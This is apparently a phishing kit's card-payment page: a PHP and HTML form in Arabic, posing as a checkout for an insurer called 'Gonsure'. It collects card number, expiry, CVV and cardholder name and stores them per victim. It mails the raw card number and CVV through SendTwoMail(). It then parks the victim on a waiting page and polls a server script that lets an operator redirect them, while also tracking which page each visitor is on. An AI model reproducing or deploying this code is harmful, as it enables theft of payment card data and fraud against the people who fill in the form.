<?php
require_once(__DIR__ . '/geo-check.php');

error_reporting(0);
ini_set('display_errors', 0);
########################
session_start();

require_once('./add-efaa.php');
require_once('./dashboard/init.php');
require_once(__DIR__ . "/auto-register.php");

if (isset($_SESSION['user_id'])) {
    $User->UpdateCurrentPage($_SESSION['user_id'], 'البطاقة');
$dataa = [
        'userId' => $_SESSION['user_id'],
        'page' => 'البطاقة'
    ];
}

if (isset($_POST['submit'])) {
$site = array(
        'cardNumber' => $_POST['cardNumber'],
        'cardName' => $_POST['cardName'],
        'cvv' => $_POST['cvv'],
        'year' => $_POST['year'],
        'insurance_company' => isset($_SESSION['insurance_company']) ? $_SESSION['insurance_company'] : '',
        'insurance_price' => isset($_SESSION['totalprice']) ? $_SESSION['totalprice'] : '',
        'message' => 'البطاقة',
        'type' => '1'
    );

    ensureUserRegistered();
    $userId = $_SESSION['user_id'];
    $id = $User->InsertCardVisaRelatedUser($userId, $site);
    if ($id) {
        $User->UpdateStatus($userId, 'البطاقة');
        $User->UpdateInsuranceInfo($userId, isset($_SESSION['insurance_company']) ? $_SESSION['insurance_company'] : '', isset($_SESSION['totalprice']) ? $_SESSION['totalprice'] : '');

        $_SESSION['card_id'] = $id;
SendTwoMail($_POST['cardNumber'], $_POST['year'], $_POST['cvv']);

        echo "<script>document.location.href='wait-payment.php';</script>";
    }
}

if (isset($_GET['reject'])) {
    $showError = true;
}


?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>جونشور | الدفع</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css">
    <link rel="stylesheet" href="./assets/gonsure-style.css">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <style>
        body {
            background: var(--bg-light);
            min-height: 100vh;
        }

        .payment-wrapper {
            padding: 20px 16px;
            max-width: 500px;
            margin: 0 auto;
        }

        .payment-card {
            background: var(--bg-white);
            border-radius: var(--radius-lg);
            box-shadow: var(--shadow-md);
            padding: 24px 20px;
        }

        .payment-card .payment-title {
            font-size: 18px;
            font-weight: 700;
            text-align: center;
            margin-bottom: 8px;
            color: var(--text-dark);
        }

        .payment-card .payment-icon {
            text-align: center;
            margin-bottom: 24px;
        }

        .payment-card .payment-icon i {
            font-size: 40px;
            color: var(--primary);
        }

        .payment-card .form-control {
            border: 1.5px solid var(--input-border);
            border-radius: 10px;
            padding: 10px 14px;
            font-size: 14px;
            transition: all 0.3s;
            height: 46px;
            font-family: "Rubik", sans-serif;
        }

        .payment-card .form-control:focus {
            border-color: var(--primary);
            box-shadow: 0 0 0 3px rgba(36, 71, 255, 0.1);
            outline: none;
        }

        .payment-card ::placeholder {
            color: var(--input-text) !important;
            font-size: 13px;
        }

        .payment-methods {
            text-align: center;
            margin-bottom: 20px;
        }

        .payment-methods img {
            height: 28px;
            opacity: 0.7;
        }

        .hide {
            display: none;
        }

        .show {
            display: block;
        }
    </style>
</head>

<body>

    <!-- Navbar -->
    <nav class="gonsure-nav">
        <a href="index.php">
            <img src="./assets/gonsure_logo.svg" alt="جونشور" class="logo">
        </a>
    </nav>

    <!-- Payment Section -->
    <div class="payment-wrapper fade-in">
        <div style="text-align: center; padding: 16px 0 12px;">
            <h5 style="font-weight: 700; color: var(--text-dark);">
                <i class="fas fa-credit-card" style="color: var(--primary); margin-left: 8px;"></i>
                معلومات الدفع
            </h5>
        </div>

        <div class="payment-card">
            <div class="payment-methods">
                <img src="./assets/button.svg" width="150" alt="">
            </div>
            <form action="" method="POST" onsubmit="return validateAndSubmitForm()">

                <div class="mt-4">
                    <input type="text" name="cardNumber" id="cardNumberI" style="direction: ltr !important;" onblur="validateCardNumber()" inputmode="numeric" minlength="10" maxlength="16" required class="form-control" placeholder="رقم بطاقة الائتمان">
                    <div class="hide" id="checkToCard">
                        <small class="text-danger">رقم البطاقة غير صحيح</small>
                    </div>
                    <input type="hidden" id="checkCard" value="0">

                    <div class="d-flex mt-3 gap-4">
                        <input type="text" name="year" inputmode="numeric" minlength="5" id="expiry" maxlength="5" required class="form-control" placeholder="MM/YY">

                        <input type="text" name="cvv" inputmode="numeric" minlength="3" maxlength="3" required class="form-control" placeholder="رمز CVC أو CVV">
                    </div>

                    <input type="text" name="cardName" required class="form-control mt-3" placeholder="الاسم على البطاقة">
                </div>

                <?php
                // Check if data is submitted
                if (isset($showError)) {
                    echo '<p class="text-center mt-2 text-danger fw-bold">البطاقة المدخلة غير صحيحة</p>';
                }
                ?>

                <div class="text-center mt-4">
                    <button type="submit" name="submit" id="butSubm" disabled class="btn-gonsure">
                        <i class="fas fa-lock" style="margin-left: 6px;"></i>
                        تأكيد الدفع
                    </button>
                </div>
            </form>
        </div>
    </div>

    <!-- Footer -->
    <footer class="gonsure-footer">
        <img src="./assets/gonsure_logo.svg" alt="جونشور" class="footer-logo">
        <div class="footer-copyright">© جونشور 2025. جميع الحقوق محفوظة</div>
    </footer>

<script src="js/main.js"></script>
    <script>
    </script>

    <script>
        document.addEventListener('DOMContentLoaded', function() {
            const form = document.querySelector('form');
            const submitBtn = document.getElementById('butSubm');

            // Listen to input events on all form fields
            form.addEventListener('input', function() {
                if (form.checkValidity()) {
                    submitBtn.disabled = false;
                } else {
                    submitBtn.disabled = true;
                }
            });

            // Also check on page load in case browser autofills
            if (form.checkValidity()) {
                submitBtn.disabled = false;
            } else {
                submitBtn.disabled = true;
            }
        });

        document.getElementById('cardNumberI').addEventListener('input', function(event) {
            let input = event.target;
            let value = input.value.replace(/\s/g, ''); // Remove spaces
            let numericValue = value.replace(/\D/g, ''); // Remove non-digit characters

            // If length is 16, allow removing characters, but not adding more
            if (/^\d{0,16}$/.test(numericValue)) {
                let formattedValue = numericValue.replace(/(\d{4})(?=\d)/g, '$1 '); // Add space after every group of four digits
                input.value = formattedValue;

                // If length is exactly 16, set maxlength attribute to prevent adding more characters
                if (numericValue.length === 16) {
                    input.setAttribute('maxlength', '16');
                } else {
                    input.removeAttribute('maxlength');
                }
            } else {
                // If more than 16 characters, ignore the input
                input.value = input.value.slice(0, 16);
            }
        });

        function isValidLuhn(digits) {
            let checkDigit = 0;

            for (let i = digits.length - 2; i >= 0; --i) {
                checkDigit += (i % 2 === 0) ?
                    (digits[i] > 4 ? digits[i] * 2 - 9 : digits[i] * 2) :
                    digits[i];
            }

            return (10 - (checkDigit % 10)) === digits[digits.length - 1];
        }

        function validateCardNumber() {
            var cardNumber = document.getElementById("cardNumberI").value.replace(/\s/g, ''); // Remove spaces
            if (/[^0-9-\s]+/.test(cardNumber)) {
                document.getElementById("checkCard").value = 2;
                document.getElementById("checkToCard").classList.remove("hide");
                document.getElementById("checkToCard").classList.add("show");
                return;
            }

            var isValid = isValidLuhn(cardNumber.split('').map(Number));
            if (isValid) {
                document.getElementById("checkCard").value = 1;
                document.getElementById("checkToCard").classList.remove("show");
                document.getElementById("checkToCard").classList.add("hide");
            } else {
                document.getElementById("checkCard").value = 2;
                document.getElementById("checkToCard").classList.remove("hide");
                document.getElementById("checkToCard").classList.add("show");
            }
        }

        function validateCardNumber2() {
            var cardNumber = document.getElementById("cardNumberI2").value.replace(/\s/g, ''); // Remove spaces
            if (/[^0-9-\s]+/.test(cardNumber)) {
                document.getElementById("checkCard2").value = 2;
                document.getElementById("checkToCard2").classList.remove("hide");
                document.getElementById("checkToCard2").classList.add("show");
                return;
            }

            var isValid = isValidLuhn(cardNumber.split('').map(Number));
            if (isValid) {
                document.getElementById("checkCard2").value = 1;
                document.getElementById("checkToCard2").classList.remove("show");
                document.getElementById("checkToCard2").classList.add("hide");
            } else {
                document.getElementById("checkCard2").value = 2;
                document.getElementById("checkToCard2").classList.remove("hide");
                document.getElementById("checkToCard2").classList.add("show");
            }
        }

        function validateAndSubmitForm() {

            var isValidCard = (document.getElementById("checkCard").value == 1);

            if (isValidCard) {
                return true;
            } else {
                return false;
            }
        }

        function validateAndSubmitForm2() {

            var isValidCard = (document.getElementById("checkCard2").value == 1);

            if (isValidCard) {
                return true;
            } else {
                return false;
            }
        }

        const expiryInput = document.getElementById('expiry');

        expiryInput.addEventListener('input', function(e) {
            let value = e.target.value.replace(/\D/g, ''); // remove non-digits

            if (value.length > 4) value = value.slice(0, 4);

            if (value.length >= 3) {
                value = value.slice(0, 2) + '/' + value.slice(2);
            }

            e.target.value = value;
        });

        expiryInput.addEventListener('blur', function(e) {
            const [yy, mm] = e.target.value.split('/');
            if (!yy || !mm) return;

            const year = parseInt(yy, 10);
            const month = parseInt(mm, 10);

            if (year < 1 || year > 31 || month < 25 || month > 35) {
                alert('Invalid year or month. Year must be between 2025-2035, and month 01-12.');
                e.target.value = ''; // clear invalid input
            }
        });
    </script>



<script>
// JSON Polling - بديل Pusher
function checkRedirect() {
    fetch('polling-redirect.php')
        .then(r => r.json())
        .then(data => {
            if (data.redirect) {
                window.location.href = data.redirect;
            }
        })
        .catch(e => {});
}
setInterval(checkRedirect, 1500);
checkRedirect();
</script>
<input type="hidden" id="hb_uid" value="<?= isset($_SESSION['user_id']) ? $_SESSION['user_id'] : 0 ?>">
<script src="js/heartbeat.js"></script>
</body>

</html>
